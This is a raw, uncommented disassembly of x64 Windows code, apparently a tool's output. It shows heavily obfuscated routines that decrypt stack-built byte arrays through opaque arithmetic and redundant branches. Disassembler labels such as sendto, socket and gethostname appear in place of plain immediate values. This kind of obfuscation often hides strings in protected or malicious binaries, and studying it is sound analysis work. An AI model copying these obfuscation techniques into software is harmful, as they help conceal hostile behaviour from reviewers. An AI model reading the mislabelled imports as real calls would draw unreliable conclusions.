mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x730]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008d8e2
inc rax
cmp r9, rax
jne 0x14008e186
movabs rdx, 0x7ab7ad7b3c18f7ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d8e2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14008e1b7
movabs rdx, 0x4a3e9a94ba96ad88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008e424
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14008e1d4
movabs rdx, 0x19c587ae39146364
mov ecx, Ordinal_35
jmp 0x14008e3e8
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14008e1f1
movabs rdx, 0xe94c74c7b7921940
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14008e3ba
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008dd35
movabs rdx, 0x885a4efab48d84f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008e37b
movabs rdx, 0x2768292db188f0b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x730]
jmp 0x14008e3f6
movabs rdx, 0xf6ef16473006a68c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x730]
add r11b, dl
add r11b, bl
movabs rcx, 0x5eb28cd3ef45817a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x56
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x730], al
inc r8
add rax, r8
sub rdi, rax
movabs rdx, 0xc6760360ae845c68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x730], cl
inc r9
mov rax, r12
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x730]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008d8e2
movabs rdx, 0xcec70f7122935a42
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x730]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008d8e2
movabs rdx, 0xf19d80d82ba1171a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008d8e2
movabs rdx, 0x528fa6a52ea5ab62
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0xbfa4b2a0f24a15c2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x4e
add bl, cl
mov byte [rbp + rdi + 0x730], bl
inc r8
dec rdi
inc rdi
jmp 0x14008d8e2
movabs rdx, 0x1473f23f34aed3f2
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14008d8e2
movabs rdx, 0x44ed0525b6311e16
mov ecx, 0x33
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x8f2b9fba70c7cb9e
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x52
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x730], cl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d8e2
movabs rdx, 0x374a63a63dbc90ca
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x730]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14008d8e2
movabs rdx, 0xe88c971f5ba7bda6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008d8de
movabs rdx, 0x1905aa05dd2a07ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008d8d0
lea rcx, [rbp + 0x17b1f18]
jmp 0x14008e4e2
lea rcx, [rbp + 0x139fa06]
jmp 0x14008e4e2
lea rcx, [rbp + 0x730]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140225df0]
lea rcx, [rbp + 0x108]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x758], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x759], Ordinal_60
mov byte [rbp + 0x75a], Ordinal_45
mov byte [rbp + 0x75b], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x75c], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x75d], 0x3f
mov byte [rbp + 0x75e], 0x50
mov byte [rbp + 0x75f], 5
mov byte [rbp + 0x760], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x761], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x762], Ordinal_45
mov byte [rbp + 0x763], gethostname
mov byte [rbp + 0x764], 0x3e
mov byte [rbp + 0x765], 0xa9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x766], xmm0
mov dword [rbp + 0x776], eax
mov byte [rbp + 0x77a], al
movabs rsi, 0xc807782fbedf0c7d
movabs r13, 0x986736ffce60cc9
movabs r14, 0x2c00adce50e8f123
movabs r15, 0x18f3c6ee571cd791
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008f47d
movzx r11d, byte [rbp + rbx + 0x758]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008f471
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14008e61c
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x7f
jmp 0x14008e663
je 0x14008f3ec
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f351
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008f31e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008f2e6
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008f281
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008f229
cmp r9, rbx
ja 0x14008f468
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14008e68d
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
jmp 0x14008e6c1
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008f208
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008f1de
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008f1aa
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f186
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008ed5a
nop
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008ed34
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008ed02
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008ecd3
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008ecad
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008ec71
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008ec38
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008ec0f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008ebe6
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008ebac
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008e6d0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x41]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008f444
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008f420
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008e8bd
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008e8a2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008e887
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008eb4e
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008eaef
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008ea9f
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008ea70
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008e6d0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x61]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008ea3b
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008ea13
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008e9ef
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008e9bb
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008e984
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008e960
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008e936
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008e909
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008e8e4
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008e6d0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x400]
jmp 0x14008e6d0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
jmp 0x14008e6c1
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x14008e663
movabs rdx, 0x5e6e00e5d50bdff
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 7
add r10b, dl
jmp 0x14008e5e5
movabs rdx, 0x403bc17df6f863e8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x14008f249
movabs rcx, 0x2d2eda9dfd2c4a56
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
inc r9
dec rbx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0x1a21f3be036030c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
dec rbx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0x7150cde09941732
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
jmp 0x14008f2a4
movabs rcx, 0xf40825fe0fc7fda0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0xe0fb3f1e15fbe40e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0xcdee583e1c2fca7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x14008f36f
movabs rdx, 0xbae1715e2263b0ea
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x66
add r10b, dl
jmp 0x14008f3a2
movabs rcx, 0xa7d48a7e28979758
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e5d2
movabs rcx, 0x7834494e3819576b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
mov byte [rbp + rbx + 0x758], r10b
inc rbx
jmp 0x14008e5d2
movabs rdx, 0x6527626e3e4d3dd9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x11
add r10b, dl
cmp r9, 0x28
jb 0x14008ea8f
movabs rcx, 0xcb91fe9ec3a91816
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x34]
jmp 0x14008f24c
movabs rcx, 0x521a7b8e44812447
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
cmp r8, 0x42
jae 0x14008f12f
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14008f01a
movabs rdx, 0xd10f9df01b01862
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008eac2
movabs rcx, 0x3f0d94ae4ab50ab5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x14008f160
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14008ef17
movabs rcx, 0x450981af42d10be5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
jmp 0x14008eb0e
movabs rdx, 0xb02cd11e793a4aee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e5d2
movabs rdx, 0x9d1fea3e7f6e315c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f3a2
movabs rdx, 0x8a13035e85a217ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f36f
movabs rdx, 0x77061c7e8bd5fe38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
movabs rdx, 0x63f9359e9209e4a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
movabs rdx, 0x50ec4ebe983dcb14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008f2a1
movabs rdx, 0x3ddf67de9e71b182
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008e5d2
movabs rdx, 0x2ad280fea4a597f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14008e5d2
movabs rdx, 0x17c59a1eaad97e5e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008f249
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14008ed85
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7f
add r10b, dl
jmp 0x14008eb6d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008edc8
movabs rdx, 0x900ef05f7dbe18fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008edfa
movabs rdx, 0xb628be1f71564c1e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f36f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008ee3c
movabs rdx, 0xc935a4ff6b2265b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008ee6e
movabs rdx, 0xef4f72bf5eba98d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f2a4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008eea6
movabs rdx, 0x25c599f5886b266
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008eee1
movabs rdx, 0x1569407f5252cbf8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008eb6d
movabs rdx, 0x2876275f4c1ee58a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f24c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ef45
movabs rdx, 0x5816688f3c9d2577
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x41
jmp 0x14008f249
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008ef79
movabs rcx, 0x7e30364f3035589b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3d
dec rbx
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008efa6
movabs rcx, 0x913d1d2f2a01722d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
jmp 0x14008f2a4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008efd7
movabs rdx, 0xdd70b8af1131d875
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x33
add r10b, dl
jmp 0x14008f3a2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008eb0e
movabs rcx, 0xf07d9f8f0afdf207
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x31
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f05d
movabs rdx, 0x201de0befb7c31f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f08f
movabs rdx, 0x4637ae7eef146518
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008f36f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008f0be
movabs rdx, 0x7f5e631edc78b1ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008f2a1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008f0f9
movabs rdx, 0xa57830ded010e4f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008e5d2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008eac2
movabs rdx, 0xb88517bec9dcfe84
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f24c
movabs rdx, 0xde9ee57ebd7531a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x758]
add r10b, dl
add r10b, r11b
jmp 0x14008f2a4
movabs rdx, 0xf1abcc5eb7414b3a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14008f36f
movabs rcx, 0x4d61c84f9373bf7b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
jmp 0x14008f36f
movabs rcx, 0x3a54e16f99a7a5e9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0x12e2ccfac435933
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
dec rbx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0xdb145f0fb8ab260f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
jmp 0x14008f24c
movabs rdx, 0xb4fa914fc512f2eb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6d
add r10b, dl
movabs rcx, 0xd518720ec08f24df
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x19
add r11b, cl
mov byte [rbp + rbx + 0x758], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008e5d2
movabs rdx, 0x7bd3dcafd7aea635
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x73
add r10b, dl
movabs rdx, 0xe82558eeba5b3e71
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x17
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x758], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0x68c6f5cfdde28ca3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x75
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
movabs rcx, 0x55ba0eefe4167311
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x77
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e5d2
mov r11, rdx
movabs rax, 0x42ad280fea4a597f
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x79
movabs rdx, 0xfb323fceb4275803
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x758], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x4b8b33eb10d64cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x758], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e5d2
movabs rcx, 0x1c935a4ff6b2265b
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x7d
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e5d2
movabs rcx, 0xf2d9f92e6384a46d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
jmp 0x14008e5d0
movabs rcx, 0xdfcd124e69b88adb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
jmp 0x14008e5c0
lea rcx, [rbp + 0x1509e64]
jmp 0x14008f484
lea rcx, [rbp + 0x176ab2d]
jmp 0x14008f484
lea rcx, [rbp + 0x758]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140225f30]
lea rcx, [rbp + 0x128]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x780], 0xda
mov byte [rbp + 0x781], Ordinal_211
mov byte [rbp + 0x782], 0xcb
mov byte [rbp + 0x783], 0xc0
mov byte [rbp + 0x784], __WSAFDIsSet
mov byte [rbp + 0x785], 0xec
mov byte [rbp + 0x786], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x787], 0xb4
mov byte [rbp + 0x788], 0xb3
mov byte [rbp + 0x789], 0xb8
mov byte [rbp + 0x78a], 0xcc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x78b], xmm0
mov qword [rbp + 0x79b], rax
movabs rsi, 0x9836114006dff92d
movabs r13, 0x50641933cf90c2b9
movabs r14, 0xa659af21b399ba73
movabs r15, 0x5917cba14783501
movzx edx, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009027d
movzx r11d, byte [rbp + rbx + 0x780]
mov r10, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140090271
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008f5ab
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
sub dl, 0xf
jmp 0x14008f5e5
je 0x1400901e9
lea rax, [r9 + 3]
cmp r8, rax
je 0x140090150
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009011b
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400900c0
lea rax, [r9 + 7]
cmp r8, rax
je 0x140090097
cmp r9, rbx
ja 0x140090265
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14008f60e
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3b
jmp 0x14008f660
lea rax, [r9 + 1]
cmp r8, rax
je 0x140090042
inc rax
cmp r8, rax
je 0x140090019
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008ffe7
